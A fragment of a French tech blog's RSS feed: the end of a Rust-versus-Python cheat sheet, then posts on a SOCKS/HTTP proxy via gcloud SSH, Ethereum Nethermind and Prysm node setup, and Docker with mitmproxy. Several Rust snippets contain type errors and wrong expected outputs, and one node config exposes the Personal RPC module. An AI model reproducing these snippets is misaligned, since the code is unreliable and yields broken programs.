      <li><a href="https://crates.io/crates/hyper">hyper</a></li>
      <li><a href="https://github.com/seanmonstar/reqwest">reqwest</a></li>
      <li><a href="https://github.com/serde-rs/serde">serde</a></li>
      <li><a href="https://github.com/serde-rs/serde">serde</a></li>
      <li><a href="https://github.com/BurntSushi/rust-csv">rust-csv</a></li>
      <li><a href="https://github.com/chronotope/chrono">Chrono</a></li>
      <li><a href="https://github.com/kbknapp/clap-rs">clap</a></li>
      <li><a href="https://github.com/docopt/docopt.rs">docopt</a></li>
      <li><a href="https://github.com/rust-lang/regex">regex</a></li>
      <li><a href="https://crates.io/crates/subprocess">subprocess</a></li>
      <li><a href="https://crates.io/crates/rayon">Rayon</a></li>
      <li><a href="https://github.com/rust-lang-nursery/log">log</a></li>
      <li><a href="https://doc.rust-lang.org/std/fs/">fs</a> & <a href="https://github.com/webdesus/fs_extra">fs_extra</a></li>
      <li><a href="https://github.com/ron-rs/ron">RON</a></li>
      <li>BinaryHeap</li>
      <li><a href="https://github.com/SergioBenitez/Rocket">Rocket</a></li>
      <li><a href="https://github.com/DaGenix/rust-crypto">crypto</a></li>
      <li><a href="https://crates.io/keywords/mongodb">mongodb</a></li>
      <li><a href="https://github.com/Keats/tera">Tera</a></li>
      <li><a href="https://github.com/rust-qt">rust-qt</a></li>
      <li><a href="https://github.com/AlKass/polish">polish</a></li>
      <li><a href="https://github.com/rust-lang-nursery/rust-clippy">Clippy</a></li>
      <li>rustfmt</li>
      <li><a href="https://github.com/bluss/rust-itertools">rust-itertools</a></li>
      <li><a href="https://github.com/antimonyproject/antimony">antimony</a></li>
      <li><a href="https://github.com/rusoto/rusoto">rusoto</a></li>
      </ul>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>4. Python like features</b>
      <br/>
      <ul>
      <li><a href="https://crates.io/crates/maplit">maplit</a></li>
      <li><a href="https://github.com/nrc/derive-new">derive_new</a></li>
      <li><a href="https://crates.io/crates/itertools">itertools</a></li>
      <li><a href="https://github.com/libpasta/libpasta">libpasta</a></li>
      </ul>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>5. Hello world</b>
      <pre style="margin: 0px; padding: 5px;">
<code>fn main() {
  println!("Hello, World");
}</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>6. Types</b>
      <pre style="margin: 0px; padding: 5px;">
<code>use std::collections::HashMap;

fn main() {
    let age = 33;
    let name = "olivier";
    let weight = 75.3;
    let mut cartoons = vec!["riri", "fifi", "loulou"];

    let mut ages = HashMap::new();
    ages.insert("riri", 7);
    ages.insert("fifi", 7);
    ages.insert("loulou", 7);
}</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>7. Fonctions</b>
      <pre style="margin: 0px; padding: 5px;">
<code>/// Substracts b from a
fn substract(a: i32, b: i32) -> i32 {
  a - b
}</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>8. Manipulation de listes</b>
      <pre style="margin: 0px; padding: 5px;">
<code>fn main() {
    let mut cartoons = vec!["riri", "fifi", "loulou"];
    println!("{}", cartoons[0]);  // riri
    cartoons.push("donald");
    println!("{}", cartoons.len());  // 4
    println!("{:?}", &cartoons[2..]);  // ["loulou", "donald"]

    for cartoon in &cartoons {
        println!("{}", cartoon);
    }

    for (i, cartoon) in cartoons.iter().enumerate() {
        println!("{} at {}", i, cartoon);
    }

    // Lexicographical order
    cartoons.sort();

    // Reversed lexicographical order
    cartoons.sort_by(|a, b| b.cmp(a));

    // Sort by length
    cartoons.sort_by_key(|a| a.len());
}</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>9. Range</b>
      <pre style="margin: 0px; padding: 5px;">
<code>for i in (0..6).step_by(2) {
    println!("{}", i);  // 0, 2, 4
}</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>10. Manipulation de dictionnaires (hash map)</b>
      <pre style="margin: 0px; padding: 5px;">
<code>use std::iter::FromIterator;
use std::collections::HashMap;

fn main() {

    // Create new HashMap
    let mut cartoons_ages = HashMap::new();
    cartoons_ages.insert("riri", 7);
    cartoons_ages.insert("fifi", 7);
    cartoons_ages.insert("loulou", 7);

    // or using a loop
    let mut cartoons_ages = HashMap::new();
    for &(name, age) in [("riri", 7), ("fifi", 7), ("loulou", 7)].iter() {
        // Possible to remove & and use iter().clone()
        cartoons_ages.insert(name, age);
    }

    // or using an Array
    let mut cartoons_ages: HashMap<&str, i32> =
        [("riri", 7), 
         ("fifi", 7), 
         ("loulou", 7)]
        .iter().cloned().collect();

    // or using a Vec (Iterator)
    let mut cartoons_ages: HashMap<&str, i32> =
        HashMap::from_iter(
            vec![
               ("riri", 7),
               ("fifi", 7),
               ("taz", 7)
            ]
        );

    cartoons_ages.insert("donald", 45);
    println!("{}", cartoons_ages["fifi"]);  // 7
    println!("{}", cartoons_ages.contains_key("fifi")); // true
    cartoons_ages.remove("loulou");


    for name in cartoons_ages.keys() {  // Keys
      println!("{}", name);
    }

    for (name, age) in &cartoons_ages {  // Keys & values
      println!("{} is {} years old", name, age);
    }

}</code>
</pre>
    <br/><b>Alternative</b>
    <br/>
    Ajouter la dependency dans Cargo.toml
<pre style="margin: 0px; padding: 5px;">
<code>[dependencies]
maplit = "*"
</code></pre>
<br/>
Puis utiliser juste:
<pre style="margin: 0px; padding: 5px;">
<code>#[macro_use] extern crate maplit;

let map = hashmap!{
    "riri" => 7,
    "fifi" => 7,
    "loulou" => 7,
};</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>11. Lire contenu d'un fichier</b>
      <pre style="margin: 0px; padding: 5px;">
<code>use std::io::{BufReader, BufRead};
use std::fs::File;
use std::path::Path;

fn main () {
    let fp = File::open(Path::new("/tmp/mon_fichier.txt")).unwrap();
    let file = BufReader::new(&fp);
    for line in file.lines() {
        //  Iterate over lines
        println!("{}", line.unwrap());
    }
}</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>12. Exceptions/ Retour d'erreur</b>
      <pre style="margin: 0px; padding: 5px;">
<code>fn div(a: f64, b: f64) -> Result<f64, &'static str> {
    if b == 0 {
        Err("Division par 0 impossible")
    } else {
        Ok(a / b)
    }
}

fn main() {
    match div(1, 0) {
        Ok(_) => {},
        Err(_) => println!("Oops an error occurred!"),
    };
}</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>13. "Printer" des objets</b>
      <pre style="margin: 0px; padding: 5px;">
<code>#[derive(Debug)]
struct Cartoon {
    name: String,
    age: i32
}

fn main() {
    let riri = Cartoon {name: "Riri".into(), age: 7};
    println!("{:#?}", riri);
    // Actor {name: "Riri", age: 7 }
}
</code>
</pre>
    </div>
    <br/><br/><br/>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>14. Set (hashSet)</b>
      <pre style="margin: 0px; padding: 5px;">
<code>use std::collections::HashSet;
use std::iter::FromIterator;

fn main() {
    let mut cartoons = HashSet::new();
    cartoons.insert("riri");
    cartoons.insert("fifi");
    cartoons.insert("loulou");
    cartoons.insert("loulou");

    // from an iterator
    let mut cartoons: HashSet<&str> = HashSet::from_iter(vec!["riri", "fifi", "loulou", "loulou"]);

    // deduplication
    println!("{:?}", cartoons); 
    // {"riri", "fifi", "loulou"}

    // Manipulation sur les hashSet
    let mut cartoons: HashSet<&str> = HashSet::from_iter(vec!["riri", "fifi", "loulou", "loulou", "donald", "picsou"]);
    let mut some_cartoons: HashSet<&str> = HashSet::from_iter(vec!["donald", "picsou"]);

    // difference
    cartoons.difference(&some_cartoons); 
    // ["riri", "fifi", "loulou"]

    // intersection
    cartoons.intersection(&some_cartoons); 
    // ["riri"]

    // union
    cartoons.union(&some_cartoons); 
    // ["red", "fifi", "loulou, "donald", "picsou"]
}</code>
</pre>
<br/><b>Alternative</b>
    <br/>
    Ajouter la dependency dans Cargo.toml
<pre style="margin: 0px; padding: 5px;">
<code>[dependencies]
maplit = "*"
</code></pre>
<br/>
Puis utiliser juste:
<pre style="margin: 0px; padding: 5px;">
<code>#[macro_use] extern crate maplit;

let cartoons = hashset!{"riri", "fifi", "loulou", "loulou"};</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>15. while et for loops</b>
      <pre style="margin: 0px; padding: 5px;">
<code>fn main() {

    // While loop
    let mut counter = 0;
    while counter < 10 {
        println!("{}", counter);
        counter += 1;
    }

    // infinite while loop
    loop {
        println!("Infinite loop");
    }

    // infinite while loop with break
    let mut counter = 0;
    loop {
        println!("{}", counter);
        counter += 1;
        if counter >= 10 { break; }
    }

    // infinite while loop with continue
    let mut counter = 0;
    loop {
        counter += 1;
        if counter == 5 { continue; }
        println!("{}", counter);
        if counter >= 10 { break; }
    }

    // for loop over a list
    for cartoon in ["riri", "fifi", "loulou"].iter() {
        println!("{}", cartoon);
    }

    // Enumerating indexes
    for (i, cartoon) in ["riri", "fifi", "loulou"].iter().enumerate() {
        println!("{} at index {}", cartoon, i);
    }

    // for in a range
    for number in 0..100 {
        println!("{}", number);  
        // from 0 to 99
    }
}</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>16. Flask vs Rocket</b>
      <pre style="margin: 0px; padding: 5px;">
<code>#![feature(plugin)]
#![plugin(rocket_codegen)]

extern crate rocket;

#[get("/")]
fn index() -> &'static str {
    "Hello Rust"
}

fn main() {
    rocket::ignite().mount("/", routes![index]).launch();
}</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>17. Request vs Reqwest</b>
      <pre style="margin: 0px; padding: 5px;">
<code>extern crate reqwest;
use std::io::Read;

fn main() {
    let url = "https://httpbin.org/ip";

    let mut resp = match reqwest::get(url) {
        Ok(response) => response,
        Err(e) => panic!("error: could not perform get request {}", e),
    };

    assert!(resp.status().is_success());

    let mut content = String::new();
    resp.read_to_string(&mut content).expect("valid UTF-8");

    println!("The response content is: {}", content);
}</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>18. JSON encoding decoding</b>
      <pre style="margin: 0px; padding: 5px;">
<code>extern crate serde;
extern crate serde_json;

#[macro_use]
extern crate serde_derive;

#[derive(Serialize, Deserialize)]
struct Cartoon {
    name: String,
    age: u8,
}

fn main() {
    // Decode/Deserialize
    let cartoon_data = r#"{"name": "riri", "age": 7}"#;

    let c: Cartoon = match serde_json::from_str(cartoon_data) {
        Ok(cartoon) => cartoon,
        Err(e) => panic!("error: could not deserialize: {}", e),
    };

    // Do things just like with any other Rust data structure.
    println!("{} was born {} years ago.", c.name, c.age);

    // Encode/Serialize
    let serialized = serde_json::to_string(&c).unwrap();
    println!("The serialized value is: {}", serialized);
}</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>19. Object oriented</b>
      <pre style="margin: 0px; padding: 5px;">
<code>struct Soldier {
    name: String
}

impl Soldier {

    pub fn new&lt;S>(name: S) -> Soldier where S: Into<String> {
        Soldier { name: name.into() }
    }
    
    pub fn present<S: Into<String>>(&self, other_family_name:S) {
        println!("Hi M. {}, I'm {}", other_family_name.into(), self.name);
    }     
    
}

fn main() {
    let soldier = Soldier::new("Ryan");
    soldier.present("Bond");
}</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
  </div>

</div>
</div>


]]></content>
        </item>
        
        <item>
            <title>Proxies HTTP et SOCKS via gcloud</title>
            <link>https://leandeep.com/proxies-http-et-socks-via-gcloud/</link>
            <pubDate>Fri, 23 Sep 2022 09:22:00 +0000</pubDate>
            
            <guid>https://leandeep.com/proxies-http-et-socks-via-gcloud/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Dans cet article très rapide nous allons voir comment créer une proxy SOCKS ou HTTP via une instance Google Cloud. On va juste utiliser le cli &lt;code&gt;gcloud&lt;/code&gt; et un binaire open source.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;lancement-du-proxy-socks&#34;&gt;Lancement du proxy Socks&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Récupérer l&amp;rsquo;ID de son instance &lt;code&gt;./gcloud compute instances list&lt;/code&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;cd PATH_TO_GCLOUD_SI_PAS_DANS_$PATH
export PORT_DU_PROXY=
./gcloud compute ssh NOM_DE_VOTRE_INSTANCE --project NOM_DE_VOTRE_PROJET --zone LA_ZONE_QUI_CONTIENT_VOTRE_INSTANCE --ssh-flag=&amp;#34;-D&amp;#34; --ssh-flag=&amp;#34;$PORT_DU_PROXY&amp;#34; --ssh-flag=&amp;#34;-N&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;vérification&#34;&gt;Vérification&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;curl --socks5 127.0.0.1:$PORT_DU_PROXY https://ipinfo.io/ip&lt;/code&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;besoin-dun-proxy-http-&#34;&gt;Besoin d&amp;rsquo;un proxy http ?&lt;/h2&gt;
&lt;p&gt;Pas de souci, vous pouvez utiliser le projet Rust suivant &lt;a href=&#34;https://github.com/KaranGauswami/socks-to-http-proxy&#34;&gt;https://github.com/KaranGauswami/socks-to-http-proxy&lt;/a&gt; (licence MIT) qui convertit votre proxy SOCKS en proxy HTTP. Vous pouvez aussi utiliser le fork que j&amp;rsquo;ai créé oeeckhoutte/socks-to-http-proxy. Je n&amp;rsquo;ai pas détecté de vulnérabilité jusqu&amp;rsquo;au commit 3323c5809b38db4425ae11b935651e8abccf4875 (commit de mon fork)&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Dans cet article très rapide nous allons voir comment créer une proxy SOCKS ou HTTP via une instance Google Cloud. On va juste utiliser le cli <code>gcloud</code> et un binaire open source.</p>
<br/>
<h2 id="lancement-du-proxy-socks">Lancement du proxy Socks</h2>
<blockquote>
<p>Récupérer l&rsquo;ID de son instance <code>./gcloud compute instances list</code></p></blockquote>
<pre tabindex="0"><code>cd PATH_TO_GCLOUD_SI_PAS_DANS_$PATH
export PORT_DU_PROXY=
./gcloud compute ssh NOM_DE_VOTRE_INSTANCE --project NOM_DE_VOTRE_PROJET --zone LA_ZONE_QUI_CONTIENT_VOTRE_INSTANCE --ssh-flag=&#34;-D&#34; --ssh-flag=&#34;$PORT_DU_PROXY&#34; --ssh-flag=&#34;-N&#34;
</code></pre><br/>
<h2 id="vérification">Vérification</h2>
<p><code>curl --socks5 127.0.0.1:$PORT_DU_PROXY https://ipinfo.io/ip</code></p>
<br/>
<h2 id="besoin-dun-proxy-http-">Besoin d&rsquo;un proxy http ?</h2>
<p>Pas de souci, vous pouvez utiliser le projet Rust suivant <a href="https://github.com/KaranGauswami/socks-to-http-proxy">https://github.com/KaranGauswami/socks-to-http-proxy</a> (licence MIT) qui convertit votre proxy SOCKS en proxy HTTP. Vous pouvez aussi utiliser le fork que j&rsquo;ai créé oeeckhoutte/socks-to-http-proxy. Je n&rsquo;ai pas détecté de vulnérabilité jusqu&rsquo;au commit 3323c5809b38db4425ae11b935651e8abccf4875 (commit de mon fork)</p>
<pre tabindex="0"><code>git clone https://github.com/KaranGauswami/socks-to-http-proxy # ou oeeckhoutte/socks-to-http-proxy
cd socks-to-http-proxy
cargo build --release
cargo install cargo-audit
cargo audit
cd ~/Dev/Leandeep/socks-to-http-proxy/target/release

# J&#39;ai analysé le code à la recherche de faille applicative et je n&#39;ai rien trouvé. J&#39;ai aussi modifié le code pour changer quelques options: interface d&#39;écoute et ports par défaut (modifs non poussées).
./sthp
</code></pre><br/>
<h2 id="seconde-vérification">Seconde vérification</h2>
<p><code>curl --proxy localhost:PORT_HTTP_PROXY https://ipinfo.io/ip</code></p>
<br/>
<h2 id="configurer-tout-le-terminal">Configurer tout le terminal</h2>
<blockquote>
<p>On exécute les 2 commandes suivantes pour que tout le terminal utilise le proxy http</p></blockquote>
<pre tabindex="0"><code>export http_proxy=http://127.0.0.1:8090
export https_proxy=http://127.0.0.1:8090
</code></pre><br/>
<p><strong>Vérifications</strong></p>
<ul>
<li><code>curl https://ipinfo.io/ip</code> -&gt; OK</li>
<li><code>python3 -c &quot;import json; import urllib.request; url_data='https://ipinfo.io/ip'; webURL = urllib.request.urlopen(url_data); data = webURL.read(); print(data)&quot;</code> -&gt; OK</li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>Noeud RPC Ethereum après The Merge sur Ubuntu 22.04</title>
            <link>https://leandeep.com/noeud-rpc-ethereum-apr%C3%A8s-the-merge-sur-ubuntu-22.04/</link>
            <pubDate>Thu, 15 Sep 2022 04:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/noeud-rpc-ethereum-apr%C3%A8s-the-merge-sur-ubuntu-22.04/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Dans cet article, nous allons voir comment hoster un noeud relais pour Ethereum mainnet après The Merge avec Nethermind sur Ubuntu 22.04.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Cette procédure a été écrite très rapidement quelques heures après la release de The Merge pour remettre d&amp;rsquo;aplomb mes bots de trading. Désolé d&amp;rsquo;avance si des erreurs se sont glissées dans cet article.&lt;/p&gt;&lt;/blockquote&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;
&lt;p&gt;On télécharge Nethermind:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;mkdir -p /data/eth2-mainnet/{consensus,execution}
cd /data/eth2-mainnet/execution
wget https://github.com/NethermindEth/nethermind/archive/refs/tags/1.13.6.zip
unzip 1.13.6.zip
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;On installe le client pour le consensus POS:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Dans cet article, nous allons voir comment hoster un noeud relais pour Ethereum mainnet après The Merge avec Nethermind sur Ubuntu 22.04.</p>
<blockquote>
<p>Cette procédure a été écrite très rapidement quelques heures après la release de The Merge pour remettre d&rsquo;aplomb mes bots de trading. Désolé d&rsquo;avance si des erreurs se sont glissées dans cet article.</p></blockquote>
<br/>
<h2 id="installation">Installation</h2>
<p>On télécharge Nethermind:</p>
<pre tabindex="0"><code>mkdir -p /data/eth2-mainnet/{consensus,execution}
cd /data/eth2-mainnet/execution
wget https://github.com/NethermindEth/nethermind/archive/refs/tags/1.13.6.zip
unzip 1.13.6.zip
</code></pre><br/>
<p>On installe le client pour le consensus POS:</p>
<pre tabindex="0"><code>cd /data/eth2-mainnet/consensus
mkdir prysm &amp;&amp; cd $_
curl https://raw.githubusercontent.com/prysmaticlabs/prysm/master/prysm.sh --output prysm.sh &amp;&amp; chmod +x prysm.sh
</code></pre><br/>
<h2 id="configuration">Configuration</h2>
<p>On créer un token JWT à coller dans le directory consensus:</p>
<pre tabindex="0"><code># Sur OSX
# On génère un token de 256 bit 32 Byte Hex
python3 -c &#34;import secrets; print(secrets.token_hex(32))&#34; | pbcopy

# On colle le token du presse papier dans ce fichier:
vim /data/eth2-mainnet/consensus/jwt.hex
</code></pre><br/>
<h2 id="démarrage-de-la-couche-dexécution">Démarrage de la couche d&rsquo;exécution</h2>
<pre tabindex="0"><code>cd /data/eth2-mainnet/execution/
./Nethermind.Runner --JsonRpc.Enabled true --JsonRpc.EnginePort=8551 --JsonRpc.EngineHost=0.0.0.0 --HealthChecks.Enabled true --HealthChecks.UIEnabled true --JsonRpc.JwtSecretFile=/data/eth2-mainnet/consensus/jwt.hex
</code></pre><br/>
<h2 id="démarrage-du-noeud-relais-via-prysm">Démarrage du noeud relais via Prysm</h2>
<pre tabindex="0"><code>cd /data/eth2-mainnet/consensus/prysm/
./prysm.sh beacon-chain --execution-endpoint=http://localhost:8551 --jwt-secret=/data/eth2-mainnet/consensus/jwt.hex --suggested-fee-recipient=VOTRE_OU_UNE_CLE_ETHEREUM_PUBLIQUE
</code></pre><br/>
<h2 id="vérification-du-status-de-la-synchro">Vérification du status de la synchro</h2>
<pre tabindex="0"><code>curl http://localhost:3500/eth/v1/node/syncing | jq
</code></pre><br/>
<h2 id="vérification-la-connectivité-avec-les-clients">Vérification la connectivité avec les clients</h2>
<pre tabindex="0"><code># Pour l&#39;exécution client:
curl localhost:8545/health

# Pour le relais / consensus:
curl http://localhost:8080/healthz
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Noeud Ethereum Nethermind sur Ubuntu 22.04</title>
            <link>https://leandeep.com/noeud-ethereum-nethermind-sur-ubuntu-22.04/</link>
            <pubDate>Sun, 14 Aug 2022 23:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/noeud-ethereum-nethermind-sur-ubuntu-22.04/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Dans cet article, nous allons voir comment hoster un noeud light Ethereum mainnet avec Nethermind sur Ubuntu 22.04.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;
&lt;p&gt;On commence par installer &lt;code&gt;.NET&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo add-apt-repository ppa:nethermindeth/nethermind
sudo apt install nethermind
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Ensuite on installer Nethermind:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo add-apt-repository ppa:nethermindeth/nethermind
sudo apt install nethermind
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;configuration&#34;&gt;Configuration&lt;/h2&gt;
&lt;p&gt;On créer un répertoire qui contiendra nos data:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;mkdir -p /data/eth-mainnet-nethermind
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;On édite le fichier de configuration &lt;code&gt;/usr/share/nethermind/configs/mainnet.cfg&lt;/code&gt; et on autorise les IPs, modules qui nous intéressent. Dans mon cas à titre d&amp;rsquo;exemple:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Dans cet article, nous allons voir comment hoster un noeud light Ethereum mainnet avec Nethermind sur Ubuntu 22.04.</p>
<br/>
<h2 id="installation">Installation</h2>
<p>On commence par installer <code>.NET</code>:</p>
<pre tabindex="0"><code>sudo add-apt-repository ppa:nethermindeth/nethermind
sudo apt install nethermind
</code></pre><br/>
<p>Ensuite on installer Nethermind:</p>
<pre tabindex="0"><code>sudo add-apt-repository ppa:nethermindeth/nethermind
sudo apt install nethermind
</code></pre><br/>
<h2 id="configuration">Configuration</h2>
<p>On créer un répertoire qui contiendra nos data:</p>
<pre tabindex="0"><code>mkdir -p /data/eth-mainnet-nethermind
</code></pre><br/>
<p>On édite le fichier de configuration <code>/usr/share/nethermind/configs/mainnet.cfg</code> et on autorise les IPs, modules qui nous intéressent. Dans mon cas à titre d&rsquo;exemple:</p>
<pre tabindex="0"><code>{
  &#34;Init&#34;: {
    &#34;ChainSpecPath&#34;: &#34;chainspec/foundation.json&#34;,
    &#34;GenesisHash&#34;: &#34;xxx&#34;,
    &#34;BaseDbPath&#34;: &#34;nethermind_db/mainnet&#34;,
    &#34;LogFileName&#34;: &#34;mainnet.logs.txt&#34;,
    &#34;MemoryHint&#34;: 2048000000,
  },
  &#34;Network&#34;: {
    &#34;ActivePeersMaxCount&#34;: 100
  },
  &#34;Sync&#34;: {
    &#34;FastSync&#34;: true,
    &#34;SnapSync&#34;: true,
    &#34;PivotNumber&#34;: 15216000,
    &#34;PivotHash&#34;: &#34;xxx&#34;,
    &#34;PivotTotalDifficulty&#34;: &#34;xxx&#34;,
    &#34;FastBlocks&#34;: true,
    &#34;AncientBodiesBarrier&#34;: 11052984,
    &#34;AncientReceiptsBarrier&#34;: 11052984,
    &#34;WitnessProtocolEnabled&#34;: true
  },
  &#34;EthStats&#34;: {
    &#34;Server&#34;: &#34;wss://ethstats.net/api&#34;
  },
  &#34;Metrics&#34;: {
    &#34;NodeName&#34;: &#34;Mainnet&#34;
  },
  &#34;HealthChecks&#34;: {
    &#34;Enabled&#34;: true,
    &#34;WebhooksEnabled&#34;: true,
    &#34;WebhooksUri&#34;: &#34;https://hooks.slack.com/services/...&#34;,
    &#34;UIEnabled&#34;: true,
    &#34;PollingInterval&#34;: 10,
    &#34;Slug&#34;: &#34;/api/health&#34;
  },
  &#34;JsonRpc&#34;: {
    &#34;Enabled&#34;: true,
    &#34;Host&#34;: &#34;172.xxx.xxx.xxx&#34;,
    &#34;Port&#34;: 8545,
    &#34;EnabledModules&#34;: [&#34;Eth&#34;, &#34;Subscribe&#34;, &#34;Trace&#34;, &#34;TxPool&#34;, &#34;Web3&#34;, &#34;Personal&#34;, &#34;Proof&#34;, &#34;Net&#34;, &#34;Parity&#34;, &#34;Health&#34;],

  }
}
</code></pre><br/>
<h2 id="run">Run</h2>
<p>Aussi simple qu&rsquo;exécuter cette command</p>
<pre tabindex="0"><code>/usr/bin/nethermind --datadir /data/eth-mainnet-nethermind/
</code></pre><br/>
<p>Pour vérifier si le noeud est synchronisé:</p>
<pre tabindex="0"><code>curl --data &#39;{&#34;method&#34;:&#34;eth_syncing&#34;,&#34;params&#34;:[],&#34;id&#34;:1,&#34;jsonrpc&#34;:&#34;2.0&#34;}&#39; -H &#34;Content-Type: application/json&#34; -X POST 172.xxx.xxx.xxx:8545
</code></pre><br/>
<h2 id="service">Service</h2>
<p>On crée un service via la commande:</p>
<pre tabindex="0"><code>sudo systemctl edit --force --full neithermind-mainnent-light-mainnet.service
</code></pre><p>Et on ajoute le contenu suivant</p>
<pre tabindex="0"><code>[Unit]
Description=Nethermind Eth Light Mainnet daemon
Wants=network-online.target
After=network-online.target

[Service]
Type=simple
Restart=always
RestartSec=5
ExecStart=/usr/bin/nethermind --datadir /data/eth-mainnet-nethermind/

[Install]
WantedBy=multi-user.target
</code></pre><p>Et on démarre:</p>
<pre tabindex="0"><code>sudo systemctl enable neithermind-mainnent-light-mainnet.service
sudo systemctl start neithermind-mainnent-light-mainnet.service
</code></pre><br/>
<p>Voilà that&rsquo;s all. Next <code>pip install web3</code> or <code>npm i ethers</code> and we can call a RPC node directly. C&rsquo;est bien suffisant pour certains besoins.</p>
<blockquote>
<p>Sync duration: ~5h</p></blockquote>
<blockquote>
<p>Logs: <code>journalctl -fu neithermind-mainnent-light-mainnet</code></p></blockquote>
]]></content>
        </item>
        
        <item>
            <title>Installer Docker et mitmproxy sur Ubuntu 22.04</title>
            <link>https://leandeep.com/installer-docker-et-mitmproxy-sur-ubuntu-22.04/</link>
            <pubDate>Mon, 01 Aug 2022 20:59:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-docker-et-mitmproxy-sur-ubuntu-22.04/</guid>
            <description>&lt;p&gt;Tips très très rapide montrant comment installer Docker et Mitmproxy sur Ubuntu 22.04.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation-de-docker-sur-ubuntu-2204&#34;&gt;Installation de Docker sur Ubuntu 22.04&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt update
sudo apt install -y ca-certificates curl gnupg lsb-release

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg

echo &amp;#34;deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable&amp;#34; | sudo tee /etc/apt/sources.list.d/docker.list &amp;gt; /dev/null


sudo apt-get update
sudo apt install docker-ce docker-ce-cli containerd.io -y
sudo usermod -aG docker $USER
newgrp docker
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;vérification-de-linstallation-de-docker&#34;&gt;Vérification de l&amp;rsquo;installation de Docker&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;docker version
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;démarrage-du-proxy-mitm-sur-vm-distante&#34;&gt;Démarrage du proxy mitm sur VM distante&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;tmux
docker run --rm -it -v ~/.mitmproxy:/home/mitmproxy/.mitmproxy -p 8080:8080 mitmproxy/mitmproxy
# ou mieux, binding sur machine locale:
docker run --rm -it -v ~/.mitmproxy:/home/mitmproxy/.mitmproxy -p 127.0.0.1:8080:8080 mitmproxy/mitmproxy
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;vérification-du-bon-fonctionnement-de-votre-proxy-sur-vm-distante&#34;&gt;Vérification du bon fonctionnement de votre proxy sur VM distante&lt;/h2&gt;
